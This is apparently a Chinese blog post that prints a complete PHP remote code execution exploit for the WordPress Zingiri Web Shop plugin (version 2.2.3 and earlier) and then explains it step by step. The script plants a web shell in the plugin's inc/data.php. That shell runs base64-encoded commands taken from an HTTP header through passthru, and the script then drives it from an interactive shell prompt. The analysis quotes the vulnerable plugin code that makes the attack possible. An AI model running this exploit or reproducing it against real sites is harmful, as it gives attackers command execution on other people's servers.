Wordpress Zingiri Plugin <= 2.2.3(ajax_save_name.php) Remote Code Excution 如下:
<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout",5);
$fileman = "wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager";
function http_send($host, $packet)
{
if(!($sock = fsockopen($host,80)))
die("\n[-] No response from {$host}:80\n");
fwrite($sock,$packet);
return stream_get_contents($sock);
}
function get_root_dir()
{
global $host, $path, $fileman;
$packet = "GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
if(!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n [-] Root folder path not found!\n");
return $m[1];
}
function random_mkdir()
{
global $host, $path, $fileman, $rootdir;
$dirname = uniqid();
$payload = "new_folder={$dirname}¤tFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n";
$packet .= "Host :{$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet);
return $dirname;
}
print "\n+------------------------------------------------------------------------------+";
print "\n| Wodpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit|";
print "\n+------------------------------------------------------------------------------+";
if($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /wordpress/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$rootdir = get_root_dir();
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$payload = "selectedDoc[]={$phpcode}¤tFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))
die("\n[-] Session ID not found!\n");
$dirname = random_mkdir();
$newname = uniqid();
$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet);
$packet = "GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nzingiri-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet,base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
執行相關命令結果如下:
關於在 Linux 命令行中使用和執行 PHP代碼,參考:https://linux.cn/article-5906-1.html
相關代碼分析:
http_send()函數,顧名思義,用於發送http消息:
其中fsockopen函數用於打開一個網絡連接或者一個Unix套接字連接,返回一個文件句柄,之後可以被其他文件類函數調用(例如:fgets(),fgetss(),fwrite(),fclose()還有feof())。
在http_send函數中,即調用fwrite()將packet寫入。
最後返回http響應。
get_root_dir()函數,獲取上傳文件所在的根目錄,後面用於存儲上傳的文件:
在ajaxfilemanager.php中,有如下代碼:
<input type="hidden" name="currentFolderPath" value="<?=$folderInfo['path']; ?>" />
當訪問ajaxfilemanager.php時,返回的代碼爲:
<input type="hidden" name="currentFolderPath" value="/owaspbwa/owaspbwa-svn/var/www/wordpress/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/../../../../../../../../../../uploads/zingiri-web-shop/" />
其中value值,即爲需要的值,通過正則表達式截取。
random_mkdir()函數,在get_root_dir()函數獲取的目錄下創建一個文件夾,返回該文件夾名。
接下來下一段代碼:
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$payload = "selectedDoc[]={$phpcode}¤tFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))
die("\n[-] Session ID not found!\n");
上述代碼段訪問的是ajax_file_cut.php,其中ajax_file_cut.php關鍵代碼:
if(!isset($_POST['selectedDoc']) || !is_array($_POST['selectedDoc']) || sizeof($_POST['selectedDoc']) < 1)
{
$error = ERR_NOT_DOC_SELECTED_FOR_CUT;
}
elseif(empty($_POST['currentFolderPath']) || !isUnderRoot($_POST['currentFolderPath']))
{
$error = ERR_FOLDER_PATH_NOT_ALLOWED;
}else
{
require_once(CLASS_SESSION_ACTION);
$sessionAction = new SessionAction();
$sessionAction->setAction($_POST['action_value']);
$sessionAction->setFolder($_POST['currentFolderPath']);
$sessionAction->set($_POST['selectedDoc']);
$info = ',num:' . sizeof($_POST['selectedDoc']);
}
echo "{error:'" . $error . "'\n" . $info . "}";
對數組selectedDoc進行了判斷,並且$sessionAction->set($_POST['selectedDoc']);
後面在 ajax_save_name.php中會進行$sessionAction->get() 操作,取出當前POST的selectedDoc。
下一段代碼:
$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
<pre name="code" class="php">http_send($host, $packet);
訪問了ajax_save_name.php,其中ajax_save_name.php關鍵代碼:
$sessionAction = new SessionAction();
$selectedDocuments = $sessionAction->get();
if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments))
{
if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
{
$selectedDocuments[$key] = $_POST['value'];
$sessionAction->set($selectedDocuments);
}
echo basename($_POST['id']) . "\n";
displayArray($selectedDocuments);
}
elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id']))
{
$sessionAction->setFolder($_POST['id']);
}
writeInfo(ob_get_clean());
}
此處又對$selectedDoc進行了sizeof的判斷
最關鍵的是displayArray($selectedDocuments)和writeInfo(ob_get_clean())
displayArray()的實現:
function displayArray($array, $comments="")
{
echo "<pre>";
echo $comments;
print_r($array);
echo $comments;
echo "</pre>";
}
ob_get_clean()函數,得到當前緩衝區的內容並刪除當前輸出緩衝區。
ob_get_clean() 實質上是一起執行了 ob_get_contents() 和 ob_end_clean()。
writeInfo()的實現:
function writeInfo($data, $die = false)
{
$fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+');
@fwrite($fp, $data);
@fwrite($fp, "\n\n" . date('d/M/Y H:i:s') );
@fclose($fp);
if($die)
{
die();
}
}
實際上,是將
selectedDoc[]={$phpcode}
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
寫入了/inc/data.php中,
最後只要在http頭中設置:base64_encode(將要遠程執行的代碼),並且發送給/inc/data.php即可。
在本次攻擊中,用於執行外部命令的函數是 passthru函數。
END